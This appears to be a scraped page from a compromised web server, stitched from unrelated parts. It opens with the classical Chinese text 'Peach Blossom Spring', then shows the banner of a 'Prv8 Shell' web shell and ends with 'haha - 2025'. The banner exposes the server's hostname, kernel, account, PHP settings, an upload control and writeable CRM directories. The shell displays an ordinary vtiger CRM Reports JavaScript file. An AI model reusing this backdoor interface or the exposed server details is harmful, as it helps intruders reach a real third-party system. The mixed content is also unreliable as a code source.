晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/Reports/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/layouts/v7/modules/Reports/resources/Edit2.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/
Reports_Edit_Js("Reports_Edit2_Js",{},{

	step2Container : false,

	//This will contain the reports multi select element
	reportsColumnsList : false,

	//This will contain the selected fields element
	selectedFields : false,

	init : function() {
		this.initialize();
	},
	
	/**
	 * Function to get the container which holds all the report elements
	 * @return jQuery object
	 */
	getContainer : function() {
		return this.step2Container;
	},

	/**
	 * Function to set the report step2 container
	 * @params : element - which represents the report step2 container
	 * @return : current instance
	 */
	setContainer : function(element) {
		this.step2Container = element;
		return this;
	},

	/**
	 * Function to get the multi select element
	 * @return : jQuery object of reports multi select element
	 */
	getReportsColumnsList : function() {
		if(this.reportsColumnsList == false) {
			this.reportsColumnsList = jQuery('#reportsColumnsList');
		}
		return this.reportsColumnsList;
	},

	/**
	 * Function to get the selected fields
	 * @return : jQuery object of selected fields
	 */
	getSelectedFields : function() {
		if(this.selectedFields == false) {
			this.selectedFields = jQuery('#seleted_fields');
		}
		return this.selectedFields;
	},

	/**
	 * Function  to intialize the reports step2
	 */
	initialize : function(container) {
		if(typeof container == 'undefined') {
			container = jQuery('#report_step2');
		}

		if(container.is('#report_step2')) {
			this.setContainer(container);
		}else{
			this.setContainer(jQuery('#report_step2'));
		}
	},
	
	/*
	 * Function to validate special cases in the form
	 * returns result
	 */
	isFormValidate : function(){
		var thisInstance = this;
		var selectElement = this.getReportsColumnsList();
		var select2Element = vtUtils.showSelect2ElementView(selectElement);
		var result = Vtiger_MultiSelect_Validator_Js.invokeValidation(selectElement);
		if(result != true){
			select2Element.validationEngine('showPrompt', result , 'error','bottomLeft',true);
			var form = thisInstance.getContainer();
			app.formAlignmentAfterValidation(form);
			return false;
		} else {
			select2Element.validationEngine('hide');
			return true;
		}
	},
	
	/*
	 * Fucntion to perform all the requires calculation before submit
	 */
	calculateValues : function(){
		var container = this.getContainer();
		//Handled select fields values
		var selectedFields = this.getSelectedColumns();
		this.getSelectedFields().val(JSON.stringify(selectedFields));

		//handled selected sort fields
		var selectedSortOrderFields = new Array();
		var selectedSortFieldsRows = jQuery('.sortFieldRow',container);
		jQuery.each(selectedSortFieldsRows,function(index,element){
			var currentElement = jQuery(element);
			var field = currentElement.find('select.selectedSortFields').val();
			var order = currentElement.find('.sortOrder').filter(':checked').val();
			//TODO: need to handle sort type for Reports
			var type = currentElement.find('.sortType').val();
			selectedSortOrderFields.push([field,order,type]);
		});
		jQuery('#selected_sort_fields').val(JSON.stringify(selectedSortOrderFields));

		//handled Selected Calculation fields

		var selectedCalculationFields = {};
		var calculationFieldsTable = jQuery('.CalculationFields',container);
		var calculationFieldRows = calculationFieldsTable.find('.calculationFieldRow');
		var indexValue = 0;
		jQuery.each(calculationFieldRows,function(index,element){
			var calculationTypes = jQuery(element).find('.calculationType:checked');
			jQuery.each(calculationTypes,function(index,element){
				selectedCalculationFields[indexValue] = jQuery(element).val();
				indexValue++;
			});
		});
		jQuery('#calculation_fields').val(JSON.stringify(selectedCalculationFields));
	},
	
	submit : function(){
		var aDeferred = jQuery.Deferred();
		this.calculateValues();
		var form = this.getContainer();
		var formData = form.serializeFormData();
		app.helper.showProgress();
		app.request.post({data:formData}).then(function(error,data) {
			form.hide();
			app.helper.hideProgress();
			aDeferred.resolve(data);
		},
		function(error,err){

		});
		return aDeferred.promise();	
	},

	/**
	 * Function which will register the select2 elements for columns selection
	 */
	registerSelect2ElementForReportColumns : function() {
		var selectElement = this.getReportsColumnsList();
		vtUtils.showSelect2ElementView(selectElement,{maximumSelectionSize: 25});
	},

	/**
	 * Function which will get the selected columns with order preserved
	 * @return : array of selected values in order
	 */
	getSelectedColumns : function() {
		var columnListSelectElement = this.getReportsColumnsList();
		var select2Element = jQuery('#s2id_reportsColumnsList');
		var selectedValuesByOrder = new Array();
		var selectedOptions = columnListSelectElement.find('option:selected');

		var orderedSelect2Options = select2Element.find('li.select2-search-choice').find('div');
		orderedSelect2Options.each(function(index,element){
			var chosenOption = jQuery(element);
			var choiceElement = chosenOption.closest('.select2-search-choice');
			var choiceValue = choiceElement.data('select2Data').id;
			selectedOptions.each(function(optionIndex, domOption){
				var option = jQuery(domOption);
				if(option.val() == choiceValue) {
					selectedValuesByOrder.push(option.val());
					return false;
				}
			});
		});
		return selectedValuesByOrder;
	},

	/**
	 * Function which will arrange the select2 element choices in order
	 */
	arrangeSelectChoicesInOrder : function() {
		var selectElement = this.getReportsColumnsList();
		var chosenElement = jQuery('#s2id_reportsColumnsList');
		var choicesContainer = chosenElement.find('ul.select2-choices');
		var choicesList = choicesContainer.find('li.select2-search-choice');

		//var coulmnListSelectElement = Vtiger_CustomView_Js.getColumnSelectElement();
		var selectedOptions = selectElement.find('option:selected');
		var selectedOrder = JSON.parse(this.getSelectedFields().val());
		var selectedOrderKeys = [];
		for(var key in selectedOrder) {
			if(selectedOrder.hasOwnProperty(key)){
				selectedOrderKeys.push(key);
			}
		}
		for(var index=selectedOrderKeys.length ; index > 0 ; index--) {
			var selectedValue = selectedOrder[selectedOrderKeys[index-1]];
			var option = selectedOptions.filter('[value="'+selectedValue+'"]');
			choicesList.each(function(choiceListIndex,element){
				var liElement = jQuery(element);
				if(liElement.find('div').html() == option.html()){
					choicesContainer.prepend(liElement);
					return false;
				}
			});
		}
	},

	/**
	 * Function to regiser the event to make the columns list sortable
	 */
	makeColumnListSortable : function() {
		var select2Element = jQuery('#s2id_reportsColumnsList');
		//TODO : peform the selection operation in context this might break if you have multi select element in advance filter
		//The sorting is only available when Select2 is attached to a hidden input field.
		var chozenChoiceElement = select2Element.find('ul.select2-choices');
		chozenChoiceElement.sortable({
                containment: chozenChoiceElement,
                start: function() {},
                update: function() {}
            });
	},

	/**
	 * Function is used to limit the calculation for line item fields and inventory module fields.
	 * only one of these fields can be used at a time
	 */
	registerLineItemCalculationLimit : function() {
		var thisInstance = this;
		var primaryModule = jQuery('input[name="primary_module"]').val();
        var inventoryModules = ['Invoice', 'Quotes', 'PurchaseOrder', 'SalesOrder'];
        // To limit the calculation fields if secondary module contains inventoryModule
        var secodaryModules = jQuery('input[name="secondary_modules"]').val();
        var secondaryIsInventory = false;
		inventoryModules.forEach(function(entry){
           if(secodaryModules.indexOf(entry) != -1){
               secondaryIsInventory = true;
           } 
        });
		if(jQuery.inArray(primaryModule, inventoryModules) !== -1 || secondaryIsInventory) {
			jQuery('.CalculationFields').on('change', 'input[type="checkbox"]', function(e) {
				var element = jQuery(e.currentTarget);
				var value = element.val();
				var reg = new RegExp(/cb:vtiger_inventoryproductrel*/);
				var attr = element.is(':checked');
				var moduleCalculationFields = jQuery('.CalculationFields input[type="checkbox"]').not('[value^="cb:vtiger_inventoryproductrel"]');
				var lineItemCalculationFields = jQuery('.CalculationFields').find('[value^="cb:vtiger_inventoryproductrel"]');
				if(reg.test(value)) {	// line item field selected
					if(attr) {	// disable all the other checkboxes
						moduleCalculationFields.attr('checked',false).attr('disabled',true);
					} else {
						var otherLineItemFieldsCheckedLength = lineItemCalculationFields.filter(':checked').length;
						if(otherLineItemFieldsCheckedLength == 0) moduleCalculationFields.attr('disabled',false);
						else moduleCalculationFields.attr('checked',false).attr('disabled',true);
					}
				} else {		// some other field is selected
					if(attr) {
						lineItemCalculationFields.attr('checked',false).attr('disabled',true)
					} else {
						var moduleCalculationFieldLength = moduleCalculationFields.filter(':checked').length
						if(moduleCalculationFieldLength == 0) lineItemCalculationFields.attr('disabled', false);
						else lineItemCalculationFields.attr('disabled', true).attr('checked',false);
					}
				}
				thisInstance.displayLineItemFieldLimitationMessage();
			});
		}
	},
	
	displayLineItemFieldLimitationMessage : function() {
		var message = app.vtranslate('JS_CALCULATION_LINE_ITEM_FIELDS_SELECTION_LIMITATION');
		if(jQuery('#calculationLimitationMessage').length == 0) {
			jQuery('.CalculationFields').parent().append('<div id="calculationLimitationMessage" class="alert alert-info">'+message+'</div>');
		} else {
			jQuery('#calculationLimitationMessage').html(message);
		}
	},

	registerLineItemCalculationLimitOnLoad : function() {
		var moduleCalculationFields = jQuery('.CalculationFields input[type="checkbox"]').not('[value^="cb:vtiger_inventoryproductrel"]');
		var lineItemFields = jQuery('.CalculationFields').find('[value^="cb:vtiger_inventoryproductrel"]');
		if(moduleCalculationFields.filter(':checked').length != 0) {
			lineItemFields.attr('checked', false).attr('disabled', true);
			this.displayLineItemFieldLimitationMessage();
		} else if(lineItemFields.filter(':checked').length != 0) {
			moduleCalculationFields.attr('checked', false).attr('disabled', true);
			this.displayLineItemFieldLimitationMessage();
		}
	},

	registerEvents : function(){
		var container = this.getContainer();
		//If the container is reloading, containers cache should be reset
		this.reportsColumnsList = false;
		this.selectedFields = false;
		this.arrangeSelectChoicesInOrder();
		this.registerLineItemCalculationLimit();
		this.registerLineItemCalculationLimitOnLoad();
		vtUtils.applyFieldElementsView(container);
		this.registerSelect2ElementForReportColumns();
          this.makeColumnListSortable();
	}
});



haha - 2025